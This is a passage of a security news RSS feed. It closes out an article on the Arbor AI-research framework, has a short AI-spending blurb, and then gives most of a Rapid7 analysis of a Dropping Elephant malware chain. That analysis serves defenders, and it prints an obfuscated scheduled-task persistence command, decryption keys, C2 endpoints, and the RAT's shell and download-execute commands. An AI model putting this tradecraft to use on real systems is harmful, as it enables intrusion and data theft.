maintain and compare multiple competing research directions. Without this, they cannot interpret both successes and failures to reshape their future exploration, which is the core mechanism that makes human research cumulative.</p><p>General coding agents typically rely on conversation transcripts for their memory. Because AO tasks span hundreds of turns and easily exceed context window limits, these agents struggle to preserve and reuse factual evidence over long histories. As a result, they lose the overarching structure of the research process and are prone to stalling on early failures or chasing noisy evaluation swings. The system needs a structured, durable memory that records what directions have been tried, what factual evidence was produced, and how each result changes the space of future hypotheses.</p><p>Existing frameworks are also prone to reward hacking and overfitting to development metrics. This makes them create the illusion of progress without producing improvements that transfer to real-world performance.</p><p>Finally, general-purpose coding agents typically chain their tool calls on a single shared working tree. This architectural limitation prevents them from testing parallel hypotheses in isolated environments without corrupting the main codebase or obscuring which hypothesis caused a specific outcome.</p><h2>The Arbor framework</h2><p>Arbor solves the challenges of AO with a framework that automates the long-horizon loop of exploration, experimentation, and abstraction that characterizes human research. Arbor separates the strategic direction of research from the ground-level coding tasks with two key components:</p><p><b>The coordinator:</b> A long-lived AI agent that acts like a principal investigator. It never directly edits the target codebase. Instead, it owns the general state of the optimization research, observes accumulated evidence, comes up with new hypotheses and directions to explore, and decides what to do with the results of experiments.</p><p><b>Executors:</b> Short-lived, highly focused AI agents. When the coordinator wants to test an idea, it spins up an executor and places it in an isolated environment, essentially a fresh git worktree. Each executor is handed one hypothesis. It implements the assigned idea, runs evaluations, debugs errors, and reports back to the coordinator with the results and created artifacts.</p><p>These two components collaborate through a mechanism that the researchers call “Hypothesis Tree Refinement” (HTR). HTR represents the entire research process as a persistent, branching tree where every node binds together four things: a hypothesis, the executable artifact, the factual evidence produced, and a distilled insight. This means the coordinator can explore multiple competing directions at the same time without losing its place.</p><p>The coordinator builds the tree by placing broad ideas near the root, while concrete refinements branch out as leaves. This allows Arbor to safely explore multiple competing hypotheses simultaneously. If an executor's experiment fails, the tree records why it failed as a negative constraint, ensuring the system doesn't endlessly repeat the same mistake.</p><p>To understand why Arbor's isolation matters, consider a common enterprise scenario: optimizing a <a href="https://venturebeat.com/orchestration/architectural-patterns-for-graph-enhanced-rag-moving-beyond-vector-search-in-production">Retrieval-Augmented Generation</a> (RAG) pipeline for an internal AI assistant. "When you ask a single agent like Claude Code or Codex to 'improve accuracy,' it will typically change a bunch of things in one pass — chunking, the prompt, the retrieval method," Jin said. This entangles the changes, making it impossible to attribute which one actually helped. It also directly mutates the repository without isolation. </p><p>Arbor solves this by treating each lever as a separate hypothesis. Chunking becomes one branch, retrieval another, and the prompt another — each implemented and evaluated in its own isolated git worktree. "So you get clean attribution: 'constraint decomposition on the retrieval side gave +X; breadth-first search actually hurt,'" Jin said.</p><p>When an executor returns a report, the coordinator writes the evidence to the tree and backpropagates the insight upward to parent nodes. This means a local observation becomes a generalized constraint that shapes the coordinator's future idea generation.</p><p>To prevent reward hacking or overfitting to the development data, HTR enforces a strict “merge gate.” Even if an executor reports a fantastic development score, the coordinator will spin up an isolated worktree to test the candidate against a held-out test evaluator. The artifact is only merged into the current best trunk if it demonstrably improves the test score, verifying that the progress is real.</p><p>Arbor generally falls under the concept of "<a href="https://addyosmani.com/blog/loop-engineering/">loop engineering</a>," popularized by industry figures like OpenClaw creator Peter Steinberger and Claude Code lead Boris Cherny. The idea is to move beyond single prompts to design iterative cycles (observe, reason, act, verify) that drive autonomous agents. However, as Jin points out, "A loop can fill up with messy, untraceable attempts, and you end up with nothing to show and no way to reconstruct what changed." </p><h2>Arbor in action</h2><p>The researchers evaluated Arbor on an autonomous optimization task suite built from real-world research settings and the MLE-Bench Lite machine learning engineering benchmark. The AO suite featured tasks from different areas of AI development, including model training, harness engineering, and data synthesis.</p><p>The researchers used different backbone models for the coordinator and executor agents, including Claude Opus 4.6, GPT-5.5, and Gemini-3-Flash. They tested Arbor against the strongest coding agents, Codex and Claude Code. Arbor and the baselines were given the same resources. For the MLE-Bench Lite tasks, Arbor was also compared against top-tier agentic research systems like AI-Scientist, ML-Master, and AIDE.</p><p>Arbor consistently outperformed the baselines. It achieved the best held-out test result on all tasks, attaining more than 2.5 times the average relative gain of Codex and Claude Code. On the BrowseComp task, which involves optimizing a search agent, Arbor improved the system's held-out accuracy from a baseline of 45.33% to 67.67%. Meanwhile, Codex and Claude Code stalled at 50% and 53.33%, respectively. On MLE-Bench Lite, when equipped with GPT-5.5, Arbor achieved the strongest result among all benchmarked systems.</p><p>Arbor proved to be resilient against overfitting. For example, during the Terminal-Bench 2.0 task experiments, Claude Code achieved a high development score of 75 but its score dropped to 71 on the held-out data. Arbor had a lower development score of 72.22 but achieved the highest held-out score of 77.36, ensuring its results transfer to real-world applications.</p><p>Arbor also showed generalization in a cross-task transfer experiment. After Arbor finished optimizing the search harness for the BrowseComp task, researchers took the optimized codebase and tested it on two unrelated search-agent tasks, HLE and DeepSearchQA. Arbor's optimized codebase significantly improved performance on those unseen tasks as well.</p><h2>Deploying Arbor: Sweet spots and hidden costs</h2><p>For engineering leads looking to drop Arbor into their existing tech stack, the framework is designed to sit on top of existing Git workflows rather than replacing them. "Its output is an ordinary git branch that your existing code review, CI, and human review can inspect directly," Jin said. Only verified gains are merged into a per-run trunk, leaving the main repository untouched until a developer manually chooses to promote the code.</p><p>However, deploying Arbor comes with specific tradeoffs. Jin points out that the biggest catch is token cost, as maintaining a long-lived coordinator that continuously manages the tree and dispatches executors is the dominant expense. Running multiple isolated worktrees concurrently also requires genuine compute and disk resources to process real experiments.</p><p>So where is Arbor's sweet spot? According to Jin, it excels at tasks with a clear, trustworthy metric, tolerance for a long time horizon, and a real search space with several plausible directions, such as pipeline optimization, data-synthesis quality, and model-training recipe tuning. </p><p>Conversely, teams should explicitly avoid using Arbor for real-time latency tasks, obvious one-line fixes, or when the underlying evaluation metric is flawed. The quality ceiling of the entire run is strictly bounded by the quality of the evaluator. "If the metric isn't trustworthy, Arbor will just optimize toward an untrustworthy result faster," Jin said.</p><p>Jin sees the next evolution going beyond single scalar metrics. "A natural evolution is to have each node's artifact carry a vector — accuracy, latency, cost — instead of a single score," Jin said. "Going from a single scalar to a multi-objective Pareto search is a very natural extension of the framework."</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[NEA’s Tiffany Luck says enterprises are still figuring out their AI ROI]]></title>
<description><![CDATA[Tokenmaxxing was the hottest trend in Silicon Valley earlier this year, with CEOs encouraging employees to push AI usage as far as it would go. Then the bill came due. Uber reportedly blew through its annual AI budget in a few months, some companies cut Claude licenses for parts of their org, and...]]></description>
<link>https://tsecurity.de/de/3606019/ai-nachrichten/neas-tiffany-luck-says-enterprises-are-still-figuring-out-their-ai-roi/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3606019/ai-nachrichten/neas-tiffany-luck-says-enterprises-are-still-figuring-out-their-ai-roi/</guid>
<pubDate>Wed, 17 Jun 2026 22:18:23 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Tokenmaxxing was the hottest trend in Silicon Valley earlier this year, with CEOs encouraging employees to push AI usage as far as it would go. Then the bill came due. Uber reportedly blew through its annual AI budget in a few months, some companies cut Claude licenses for parts of their org, and Meta killed its internal leaderboard.  This tension between […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Malware à la Mode: Tracking Dropping Elephant Tradecraft Through a China-Themed Loader Chain]]></title>
<description><![CDATA[Executive summaryRapid7 researchers have identified a sophisticated malware campaign attributed to the threat actor "Dropping Elephant," characterized by the use of a China-themed decoy document to deliver a heavily reworked, in-memory remote access trojan (RAT). This campaign demonstrates advanc...]]></description>
<link>https://tsecurity.de/de/3604666/it-security-nachrichten/malware-la-mode-tracking-dropping-elephant-tradecraft-through-a-china-themed-loader-chain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3604666/it-security-nachrichten/malware-la-mode-tracking-dropping-elephant-tradecraft-through-a-china-themed-loader-chain/</guid>
<pubDate>Wed, 17 Jun 2026 13:52:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Executive summary</h2><p><span>Rapid7 researchers have identified a sophisticated malware campaign attributed to the threat actor "Dropping Elephant," characterized by the use of a China-themed decoy document to deliver a heavily reworked, in-memory remote access trojan (RAT). This campaign demonstrates advanced evasion techniques, including DLL side-loading with a legitimate Microsoft binary (</span><span><span data-type="inlineCode">Fondue.exe</span></span><span>) and the use of "Donut" shellcode to map the RAT directly into memory, effectively bypassing traditional disk-based security controls.</span></p><p><span>The revamped RAT significantly complicates detection by using control-flow flattening, runtime API reconstruction, and hardened C2 communications. Despite these modifications, Rapid7's deep analysis confirms this activity is a direct evolution of Dropping Elephant's tradecraft, based on shared beaconing patterns, screenshot logic, and command-handler structures. This discovery underscores the importance of proactive threat hunting and memory-level visibility in detecting modern, low-footprint implants.</span></p><p>Rapid7 is actively monitoring the infrastructure and tradecraft associated with this actor so we can provide comprehensive protection and intelligence to our customers.</p><p><span>Defenders should not rely on the IOCs alone. The most durable detection opportunities in this campaign are the behaviors: a shortcut file spawning PowerShell, files staged in </span><span><span data-type="inlineCode">C:\Users\Public\</span></span><span>, a scheduled task named </span><span><span data-type="inlineCode">GoogleErrorReport</span></span><span> executing every minute, and </span><span><span data-type="inlineCode">Fondue.exe</span></span><span> loading </span><span><span data-type="inlineCode">APPWIZ.cpl</span></span><span> from </span><span><span data-type="inlineCode">C:\Users\Public\</span></span><span> rather than a legitimate Windows directory.</span></p><p><span>Because the final RAT is loaded directly into memory through Donut, defenders should also review whether their endpoint tooling can detect memory-resident payloads and security-control patching within a process, including AMSI, WLDP, and ETW tampering.</span></p><h2>Overview</h2><p><span>During a proactive threat hunt, Rapid7 identified a malicious Windows shortcut that matched activity previously associated with Dropping Elephant. The shortcut used a China energy-sector contract lure and led to a payload chain that shared the family’s delivery patterns but ended in a substantially reworked RAT.</span></p><p><span>The decoy document was a contract completion and acceptance notice for the GRES-3 project and referenced delivery of industrial seawater circulation pump systems. Because the final payload differed significantly from known samples, Rapid7 analyzed the chain from the initial shortcut through the final in-memory RAT.</span></p><p><span>Luckily, during the analysis, the staging server was active which allowed us to download all attack artifacts. The recovered files use </span><span><span data-type="inlineCode">Fondue.exe</span></span><span>, a legitimate Microsoft binary, to side-load a malicious loader. The loader decrypts an AES-wrapped payload stored on disk. The decrypted payload contains a Donut shellcode loader that embeds the final RAT and uses Chaskey block cipher as part of its payload protection scheme. Donut then decrypts the final 32-bit native RAT, </span>maps it<span>, and executes it in memory.</span></p><p><span>We found that the final RAT differs significantly from older Dropping Elephant RAT samples. The malware uses control-flow flattening, runtime API reconstruction, and static CRT linking to complicate analysis. It also hardens C2 communications through HTTPS transport, Salsa20-protected C2 fields, and additional environment checks. Despite these changes, code-level comparison still identifies shared lineage with a Dropping Elephant RAT reference sample through command-handler structure, screenshot capture logic, WININET request flow, beaconing patterns, and repeated buffer constants.</span></p><h2>Technical analysis and observed attacker behavior</h2><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt4b0f7114a8893996/6a31a761fafcac0008eb5ee6/delivery-chain-LNK-to-in-memory-RAT.jpg" alt="delivery-chain-LNK-to-in-memory-RAT.jpg" caption="Figure 1: Full delivery chain from LNK to in-memory RAT" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="delivery-chain-LNK-to-in-memory-RAT.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt4b0f7114a8893996/6a31a761fafcac0008eb5ee6/delivery-chain-LNK-to-in-memory-RAT.jpg" data-sys-asset-uid="blt4b0f7114a8893996" data-sys-asset-filename="delivery-chain-LNK-to-in-memory-RAT.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 1: Full delivery chain from LNK to in-memory RAT" data-sys-asset-alt="delivery-chain-LNK-to-in-memory-RAT.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Full delivery chain from LNK to in-memory RAT</figcaption></div></figure><p>⠀</p><h3><span>Stage 1: GRES3001.lnk</span></h3><p><span>The attack starts when a user executes </span><span><span data-type="inlineCode">GRES3001.lnk</span></span><span>, a malicious Windows shortcut disguised as a PDF. When opened, the shortcut spawns an obfuscated PowerShell downloader using conhost.exe. The PowerShell uses basic string-splitting obfuscation (e.g., iw''r, g''c''i, r''e''n, c''p''i, and &amp;(g''cm sch*)) to evade keyword detection.</span></p><p><span>The downloader connects to the staging server </span><span><span data-type="inlineCode">chinagreenenergy[.]org</span></span><span><em> </em></span><span>and retrieves the decoy </span><span><span data-type="inlineCode">GRES3001.pdf</span></span><span> along with additional malware files. It immediately opens the China energy-sector lure document to distract the victim while staging the remaining payloads in the background.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta57a33baad32f599/6a31a7d368869100089df54f/GRES3001.lnk-structure-conhost-exe-proxy-Edge-icon-spoof-embedded-PowerShell-downloader.png" alt="GRES3001.lnk-structure-conhost-exe-proxy-Edge-icon-spoof-embedded-PowerShell-downloader.png" caption="Figure 2: GRES3001.lnk structure showing conhost.exe proxy, Edge icon spoof, and embedded PowerShell downloader" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="GRES3001.lnk-structure-conhost-exe-proxy-Edge-icon-spoof-embedded-PowerShell-downloader.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta57a33baad32f599/6a31a7d368869100089df54f/GRES3001.lnk-structure-conhost-exe-proxy-Edge-icon-spoof-embedded-PowerShell-downloader.png" data-sys-asset-uid="blta57a33baad32f599" data-sys-asset-filename="GRES3001.lnk-structure-conhost-exe-proxy-Edge-icon-spoof-embedded-PowerShell-downloader.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 2: GRES3001.lnk structure showing conhost.exe proxy, Edge icon spoof, and embedded PowerShell downloader" data-sys-asset-alt="GRES3001.lnk-structure-conhost-exe-proxy-Edge-icon-spoof-embedded-PowerShell-downloader.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 2: GRES3001.lnk structure showing conhost.exe proxy, Edge icon spoof, and embedded PowerShell downloader</figcaption></div></figure><p>⠀</p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt16bb44d4d963fa43/6a31a80f72792e0008289d2d/GRES-3-contract-completion-decoy-document.png" alt="GRES-3-contract-completion-decoy-document.png" caption="Figure 3: GRES-3 contract completion decoy document used as victim lure" height="1618" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="GRES-3-contract-completion-decoy-document.png" width="1223" max-width="1223" max-height="1618" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt16bb44d4d963fa43/6a31a80f72792e0008289d2d/GRES-3-contract-completion-decoy-document.png" data-sys-asset-uid="blt16bb44d4d963fa43" data-sys-asset-filename="GRES-3-contract-completion-decoy-document.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: GRES-3 contract completion decoy document used as victim lure" data-sys-asset-alt="GRES-3-contract-completion-decoy-document.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 3: GRES-3 contract completion decoy document used as victim lure</figcaption></div></figure><p>⠀</p><h3>Stage 2: Payload staging</h3><p><span>Several payload files are downloaded with junk extensions such as </span><span><span data-type="inlineCode">.ezxzez</span></span><span>, </span><span><span data-type="inlineCode">.cypyly</span></span><span>, and </span><span><span data-type="inlineCode">.dzlzlz</span></span><span>, then renamed by stripping filler characters to reconstruct </span><span><span data-type="inlineCode">Fondue.exe</span></span><span>, </span><span><span data-type="inlineCode">APPWIZ.cpl</span></span><span>, </span><span><span data-type="inlineCode">msvcp140.dll</span></span><span>, and </span><span><span data-type="inlineCode">vcruntime140.dll</span></span><span> in </span><span><span data-type="inlineCode">C:\Users\Public\</span></span><span>. The encrypted payload editor.dat is written to the </span><span><span data-type="inlineCode">C:\Windows\Tasks\</span></span><span> folder.</span></p><table><colgroup data-width="1523"><col><col><col><col></colgroup><tbody><tr><td><p><span><strong>File</strong></span></p></td><td><p><span><strong>Path</strong></span></p></td><td><p><span><strong>Description</strong></span></p></td><td><p><span><strong>SHA</strong></span></p></td></tr><tr><td><p><span><span data-type="inlineCode">GRES3001.pdf</span></span></p></td><td><p><span><span data-type="inlineCode">C:\Users\Public\</span></span></p></td><td><p><span>Decoy document</span></p></td><td><p><span>56d656d684077e7b3231393f5464447cdc8eea81b6415c5f010bc52f0c8cb317</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">Fondue.exe</span></span></p></td><td><p><span><span data-type="inlineCode">C:\Users\Public\</span></span></p></td><td><p><span>Legitimate Microsoft side-loading host</span></p></td><td><p><span>b58351ead08db413ca499cfeb1b1091ed8bfd68f4089605e452fa01ed46f42b1</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">APPWIZ.cpl</span></span></p></td><td><p><span><span data-type="inlineCode">C:\Users\Public\</span></span></p></td><td><p><span>Malicious loader DLL</span></p></td><td><p><span>914da75a4ad6d70db856a2bc318d8828f28894622f017ee78d470b4794faafa6</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">editor.dat</span></span></p></td><td><p><span><span data-type="inlineCode">C:\Windows\Tasks\</span></span></p></td><td><p><span>Base64 text wrapping AES-256-CBC ciphertext</span></p></td><td><p><span>a5e448af73b0ff6b6fcfe6ef7808120e1fd7e5c4c9b4edd68e1c980e5ea3406b</span></p></td></tr></tbody></table><p><span><em>Table 1: Files retrieved from the stager server </em></span></p><p><span><em></em></span></p><p><span>After staging the files, the script creates a scheduled task named </span><span><span data-type="inlineCode">GoogleErrorReport</span></span><span>, configured to run </span><span><span data-type="inlineCode">Fondue.exe</span></span><span> every minute. It then deletes the original shortcut, leaving the scheduled task to trigger the next execution stage through the </span><span><span data-type="inlineCode">Fondue.exe</span></span><span> side-loading chain.</span></p><p><span></span></p><pre language="c">&amp;(gcm sch*) /create /Sc minute /tn GoogleErrorReport /tr "$b\Public\Fondue"</pre><p><span><em>Figure 4: Scheduled task creation command using gcm sch* obfuscation</em></span></p><h3><span>Stage 3: DLL side-loading</span></h3><p><span>The Fondue.exe loads the malicious </span><span><span data-type="inlineCode">APPWIZ.cpl</span></span><span> staged alongside it in the </span><span><span data-type="inlineCode">C:\Users\Public\</span></span><span> directory. The side-loaded </span><span><span data-type="inlineCode">APPWIZ.cpl</span></span><span> exports RunFODW, the function expected by </span><span><span data-type="inlineCode">Fondue.exe</span></span><span>. RunFODW serves as the loader entry point and continues the payload chain by reading and decrypting </span><span><span data-type="inlineCode">editor.dat</span></span><span>.</span></p><h3><span>Stage 4: Encrypted payload and Donut loader</span></h3><p><span><span data-type="inlineCode">APPWIZ.cpl</span></span><span> sha256: 914da75a4ad6d70db856a2bc318d8828f28894622f017ee78d470b4794faafa6, original name for the metadata is </span><span><span data-type="inlineCode">bluetooth_callback.dll</span></span><span>.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb274f62583eca400/6a31aa8266385c0008869474/APPWIZ-cpl-PE-metadata-original-filename-bluetooth_callback-dll.png" alt="APPWIZ-cpl-PE-metadata-original-filename-bluetooth_callback-dll.png" caption="Figure 5: APPWIZ.cpl PE metadata showing original filename bluetooth_callback.dll" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="APPWIZ-cpl-PE-metadata-original-filename-bluetooth_callback-dll.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb274f62583eca400/6a31aa8266385c0008869474/APPWIZ-cpl-PE-metadata-original-filename-bluetooth_callback-dll.png" data-sys-asset-uid="bltb274f62583eca400" data-sys-asset-filename="APPWIZ-cpl-PE-metadata-original-filename-bluetooth_callback-dll.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 5: APPWIZ.cpl PE metadata showing original filename bluetooth_callback.dll" data-sys-asset-alt="APPWIZ-cpl-PE-metadata-original-filename-bluetooth_callback-dll.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 5: APPWIZ.cpl PE metadata showing original filename bluetooth_callback.dll</figcaption></div></figure><p>⠀</p><p><span>It reads </span><span><span data-type="inlineCode">editor.dat</span></span><span>, Base64-decodes it, and decrypts the result with AES-256-CBC via Windows CNG (</span><span><span data-type="inlineCode">bcrypt.dll</span></span><span>). The 32-byte key and 16-byte IV are assembled on the stack from immediate mov operands:</span></p><p><span>KEY (32B): 1f1e1d1c1b1a101108090a0b0c0d0e0f00020405040102031011121415181611</span></p><p><span>IV (16B): 000803030902060708090a0b0c0d0e0f</span></p><p><span>The loader maps the shellcode into an RWX memory region using </span><span><span data-type="inlineCode">VirtualAlloc</span></span><span> followed by </span><span><span data-type="inlineCode">memcpy</span></span><span> call. Then it transfers execution indirectly by passing the shellcode address as the callback argument to </span><span><span data-type="inlineCode">EnumUILanguagesW</span></span><span>.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta1f7725fd8af978c/6a31ab1143375800089b0744/EnumUILanguagesW-callback-proxy-Donut-shellcode.png" alt="EnumUILanguagesW-callback-proxy-Donut-shellcode.png" caption="Figure 6: EnumUILanguagesW callback proxy transferring execution to Donut shellcode" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="EnumUILanguagesW-callback-proxy-Donut-shellcode.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta1f7725fd8af978c/6a31ab1143375800089b0744/EnumUILanguagesW-callback-proxy-Donut-shellcode.png" data-sys-asset-uid="blta1f7725fd8af978c" data-sys-asset-filename="EnumUILanguagesW-callback-proxy-Donut-shellcode.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 6: EnumUILanguagesW callback proxy transferring execution to Donut shellcode" data-sys-asset-alt="EnumUILanguagesW-callback-proxy-Donut-shellcode.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 6: EnumUILanguagesW callback proxy transferring execution to Donut shellcode</figcaption></div></figure><p>⠀</p><p><span>The decrypted output is a Donut shellcode blob, not the final RAT. Donut uses Chaskey-CTR to protect the embedded PE, maps it in memory, resolves imports, applies relocations, and transfers execution without writing the RAT to disk. Before running the payload, Donut patches AMSI, WLDP, and ETW inside the current process, reducing in-memory scanning, code-integrity checks, and event telemetry for the unpacked RAT.</span></p><p><span>The final payload is a native 32-bit C++ implant SHA </span><span>7099c33933716c00c1f4bdb0281c230b981c76b23d7d1c83abc6f58968267d54</span><span>. It runs entirely in memory after the Donut stage maps it. At startup, the RAT first calls </span><span><span data-type="inlineCode">FreeConsole()</span></span><span> to detach from any console so nothing shows up on screen. After that, it resolves its required APIs dynamically through a </span><span><span data-type="inlineCode">LoadLibrary</span></span><span> / </span><span><span data-type="inlineCode">GetProcAddress</span></span><span> loop. After API resolution, the RAT stages its crypto and builds C2 hostname, </span><span><span data-type="inlineCode">gcl-power[.]org</span></span><span>. The cipher is Salsa20, and the key material is hardcoded. It is a 32-byte key </span><span><span data-type="inlineCode">tn9905083tfbsxqrxs7qe4ryw1nif8h1</span></span><span> with 8-byte nonce </span><span><span data-type="inlineCode">lPvymwIk</span></span><span>. Next, it calls </span><span><span data-type="inlineCode">sub_40F4A0</span></span><span> subroutine which walks the running process list and checks each entry against a built-in list of debuggers, sandbox tools, and VM artifacts. During debugging, we observed the process scan, however, the implant continued normally, without killing security processes.</span></p><p><span>Both the process scan and public-IP geolocation check executed during dynamic testing without triggering self-termination. The RAT still reported the full process list in the </span><span><span data-type="inlineCode">mkeoldkf</span></span><span> beacon field, exposing debuggers, sandbox tools, and other analysis artifacts to the operator.</span></p><p><span>After process scan, the malware creates a mutex “kshdkfhskdfjkhsdkfhsjkdfhkj” to prevent reinfection and reduce duplicate-process noise. </span></p><p><span>Finally, the RAT fingerprints the host, derives its bot ID, and enters </span><span><span data-type="inlineCode">sub_415750()</span></span><span>, where it begins polling for commands from the C2 server. Unfortunately, during the analysis the C2 was already down.</span></p><h3><span>Host fingerprinting</span></h3><p><span>Before beaconing, the RAT collects seven fields describing the victim host and packs them into the registration POST body:</span></p><p><span></span></p><table><colgroup data-width="588"><col><col></colgroup><thead><tr><th><p><span><strong>Field</strong></span></p></th><th><p><span><strong>Meaning</strong></span></p></th></tr></thead><tbody><tr><td><p><span><span data-type="inlineCode">umnome</span></span></p></td><td><p><span>Username</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">pmjodf</span></span></p></td><td><p><span>Computer name</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">idkdfjej</span></span></p></td><td><p><span>Bot ID / </span><span><span data-type="inlineCode">cid</span></span></p></td></tr><tr><td><p><span><span data-type="inlineCode">vrjdmej</span></span></p></td><td><p><span>OS version</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">ndlpeip</span></span></p></td><td><p><span>Public IP and country</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">cokenme</span></span></p></td><td><p><span>Country</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">mkeoldkf</span></span></p></td><td><p><span>Full running-process list</span></p></td></tr></tbody></table><p><span><em>Table 2: RAT registration beacon fields and their meaning</em></span></p><p><span><em></em></span></p><p><span>During fingerprinting, the RAT makes a one-time call to </span><span><span data-type="inlineCode">api.ipify.org</span></span><span> to learn the host's own public IP, then passes that IP to </span><span><span data-type="inlineCode">ip2c.org</span></span><span> to resolve the country. The user-agent used in the recon phase is </span><span><span data-type="inlineCode">Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36</span></span><span> </span><span>.</span><span> </span><span>The bot ID is not hardcoded. It is derived at runtime from the host and submitted in the </span><span><span data-type="inlineCode">idkdfjej</span></span><span> field. Each field is independently wrapped as </span><span><span data-type="inlineCode">base64url(Salsa20(base64url(value)))</span></span><span>.</span></p><h3><span>Command and control</span></h3><p><span>The RAT periodically sends HTTPS POST requests to the C2 server on port 443 </span><span><span data-type="inlineCode">(INTERNET_FLAG_SECURE)</span></span><span>. It uses a 23-character token, </span><span><span data-type="inlineCode">RRn926EmIRfm9IlJyP1yVO2</span></span><span> for C2 traffic to </span><span><span data-type="inlineCode">gcl-power[.]org</span></span><span>. Each beacon loop iteration follows the same pattern:</span></p><ul><li><p><span>POSTs </span><span><span data-type="inlineCode">dine=&lt;cid&gt;</span></span><span> to the command-poll endpoint </span><span><span data-type="inlineCode">/prjozifvkpkfhkr/gedhagammgjvvva/</span></span><span>;</span></p></li><li><p><span>blocks on </span><span><span data-type="inlineCode">InternetReadFile</span></span><span> while waiting for a task;</span></p></li><li><p><span>treats </span><span><span data-type="inlineCode">MMMMM==YYYYY</span></span><span> as the idle sentinel, sleeps for approximately three seconds, and re-polls;</span></p></li><li><p><span>C2 tasks are wrapped in  </span><span><span data-type="inlineCode">&lt;</span></span><span> </span><span><span data-type="inlineCode">&gt;</span></span><span> </span><span><span data-type="inlineCode">(</span></span><span> </span><span><span data-type="inlineCode">)</span></span><span>  </span><span><span data-type="inlineCode">*</span></span><span> </span><span>delimiters. The RAT strips these characters and decodes the payload back to the original command using </span><span><span data-type="inlineCode">base64url(Salsa20(base64url(value)))</span></span><span> again.</span></p></li></ul><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt469ef563398cbcb4/6a31ad5ac91e8e0008d2b1f0/RAT-beacon-loop.png" alt="RAT-beacon-loop.png" caption="Figure 7: RAT beacon loop showing connectivity check, command poll, and idle sentinel handling" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="RAT-beacon-loop.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt469ef563398cbcb4/6a31ad5ac91e8e0008d2b1f0/RAT-beacon-loop.png" data-sys-asset-uid="blt469ef563398cbcb4" data-sys-asset-filename="RAT-beacon-loop.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 7: RAT beacon loop showing connectivity check, command poll, and idle sentinel handling" data-sys-asset-alt="RAT-beacon-loop.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 7: RAT beacon loop showing connectivity check, command poll, and idle sentinel handling</figcaption></div></figure><p>⠀</p><p><span>Each cycle, the RAT first confirms the host is actually online by quietly pinging </span><span><span data-type="inlineCode">google.com</span></span><span>, </span><span><span data-type="inlineCode">yahoo.com</span></span><span>, and </span><span><span data-type="inlineCode">cloudflare.com</span></span><span>. Only if that succeeds does it beacon to its C2. When all's well it checks in every 10 seconds and if a check-in fails it retries every 2 seconds, until it recovers.</span></p><h3>Operator capabilities</h3><p><span>During our analysis we confirmed 5 command handlers.</span></p><p><span></span></p><table><colgroup data-width="1414.0804248861912"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Token</strong></span></p></td><td><p><span><strong>Capability</strong></span></p></td><td><p><span><strong>Behavior</strong></span></p></td></tr><tr><td><p><span><span data-type="inlineCode">fl</span></span></p></td><td><p><span>Directory listing</span></p></td><td><p><span>Recursively enumerates files</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">dw</span></span></p></td><td><p><span>Download and execute</span></p></td><td><p><span>Fetches a file, writes it to disk, and runs it</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">sc</span></span></p></td><td><p><span>Screenshot</span></p></td><td><p><span>Captures the virtual screen with </span><span><span data-type="inlineCode">BitBlt</span></span><span>, encodes it with WIC, and exfiltrates it to a dedicated endpoint. This behavior is command-gated, not periodic.</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">cmx</span></span></p></td><td><p><span>Shell execution</span></p></td><td><p><span>Runs </span><span><span data-type="inlineCode">cmd.exe /c chcp 65001 | &lt;cmd&gt;</span></span><span> and captures 